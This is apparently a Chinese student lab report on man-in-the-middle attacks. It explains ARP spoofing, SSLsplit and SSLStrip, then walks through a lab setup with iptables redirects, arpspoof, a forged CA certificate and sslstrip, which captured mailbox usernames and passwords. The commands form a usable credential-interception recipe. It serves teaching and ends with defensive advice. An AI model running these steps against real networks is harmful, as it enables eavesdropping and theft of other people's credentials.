2017-2018-2 20155315《网络对抗技术》免考四:中间人攻击
原理
中间人攻击(Man-in-the-Middle Attack, MITM)是一种由来已久的网络入侵手段,并且在今天仍然有着广泛的发展空间,如SMB会话劫持、DNS欺骗等攻击都是典型的MITM攻击。简而言之,所谓的MITM攻击就是通过拦截正常的网络通信数据,并进行数据篡改和嗅探,而通信的双方却毫不知情。
arp欺骗
- 攻击者可以根据用户与服务器之间ARP广播包,可以伪装成一方告诉另一方假地址来获取敏感信息。
- ARP欺骗是黑客常用的攻击手段之一,ARP欺骗分为二种:
- 对路由器ARP表的欺骗:截获网关数据。它通知路由器一系列错误的内网MAC地址,并按照一定的频率不断进行,使真实的地址信息无法通过更新保存在路由器中,结果路由器的所有数据只能发送给错误的MAC地址,造成正常PC无法收到信息。
- 对内网PC的网关欺骗:伪造网关。它的原理是建立假网关,让被它欺骗的PC向假网关发数据,而不是通过正常的路由器途径上网。在PC看来,就是上不了网了,“网络掉线了”。
- arpspoof参数应用
- -i:指定网卡
- -t:目标机IP
- -r:kali网关地址
SSLsplit
- 透明SSL/TLS中间人攻击工具
- 对客户端伪装成服务器,对服务器伪装成普通客户端
- 伪装服务器需要伪造证书
- 支持SSL/TLS加密的SMTP、POP3、FTP等通信中间人攻击
SSLStrip
-
现实生活中,在浏览器地址栏中输入网址时,多数用户会采用直接输入网址的方式,而忽略了传输所采用的协议。用户通过HTTP向服务器发起HTTPS连接往往是通过HTTP的302重定向实现的。SSLStrip攻击利用这一特点,在用户端接受到跳转信息之前通过明文HTTP协议去除掉HTTPS跳转的过渡,从而使得原先本应被加密的信息都明文呈现在了攻击者的面前,使得攻击者能够自由获取需要的信息。
-
整个SSLStrip 过程包括如下几个步骤:
1. 客户端Client向服务器Server发起HTTP连接请求 2. 中间人MITM监听客户端与服务器的HTTP数据; 3. 服务器返回给客户端的HTTP数据包被在客户端与服务器之间的中间人截获。中间人解析原HTTP数据包,将HTTPS URL改为HTTP URL,同时记录下所修改的URL,并保存; 4. 中间人将修改后的HTTP数据发送给客户端; 5. 客户端Client向服务器Server发起HTTP连接请求; 6. 中间人计算机解析客户端的HTTP连接请求,并与保存文件相比较。当发现存在有已修改过的HTTP URL时,将其替换成原HTTPS URL,并发送给服务器;
-
SSLStrip 所能达成的目标是在客户端与服务器建立连接时,在MITM与Server之间形成HTTPS连接,而在Client与MITM之间形成HTTP连接。
-
结合arp地址欺骗,无需伪造证书
过程
- 默认情况下电脑是没有路由转发功能的,要想实现中间人攻击,要先启动路由
echo 1 > /proc/sys/net/ipv4/ip_forward
,也可以输sysctl -w net.ipv4.ip_forward=1
- 接着,要对端口转发规则进行设置。
- 使用
iptables -t nat -L
查看nat表中的规则 - 确认80端口和443端口没被使用后设置规则
iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080 //HTTP iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443 //HTTPS iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443 //MSA iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443 //SMTPS iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443 //IMAPS iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443 //POP3S
arp欺骗
- kali:192.168.19.130
- Win7:192.168.19.133
- 输入
arpspoof -i eth0 -t 192.168.19.133 -r 192.168.19.2
- 在Win7查看欺骗前后的变化
SSLsplit
- 使用openssl创建证书私钥:
openssl genrsa -out ca.key 2048
- 使用openssl创建证书:
openssl req -new -x509 -days 1096 -key ca.key -out ca.crt
- 在keli创建/root/test和/root/test/logdir文件夹保存记录。
- 安装sslsplit:从gitHub上下载源码
git clone https://github.com/droe/sslsplit.git /opt/sslsplit
- 安装还需要两个包,使用
apt-get install libssl-dev libevent-dev
进行安装 - 进入/opt/sslsplit使用
make
make install
进行编译。 - 启动SSLsplit监听端口
sslsplit -D -l connect.log -j /root/test -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080
- Win7访问https连接,页面显示证书有问题,点击查看证书,发现证书已经被替换为刚刚生成的证书
- 同时,kali获得Win7正在访问的网站的证书信息
- 攻击者可以截获目标机上的会话信息,是类似wireshark的作用
sslstrip攻击
- 前面已经使用arpspoof将流量进行重定向
- 使用
sslstrip –l 8080
监听发往8080端口的数据 - 测试百度网站失败
- 测试淘宝网站失败
- 启用sslstrip前,进入126邮箱首页,输入“http”会自动跳转为“http”,启用sslstrip后,页面一开始会提示网络连接失败,当再次刷新的时候,页面变为“http”连接,kali街渠道用户名和口令。
总结
中间人攻击是较为隐蔽的社会学攻击,中间人攻击会使用户觉得可能只是网络不好使得网页加载缓慢或需要刷新,如果用户没有注意到使用的是http协议或者没有注意到证书的问题,就可能被截取用户名和口令。因此,在日常生活中,对一些网银、购物、邮箱等网站要养成手动输入https协议的习惯,多注意细节,就能尽可能避免被攻击。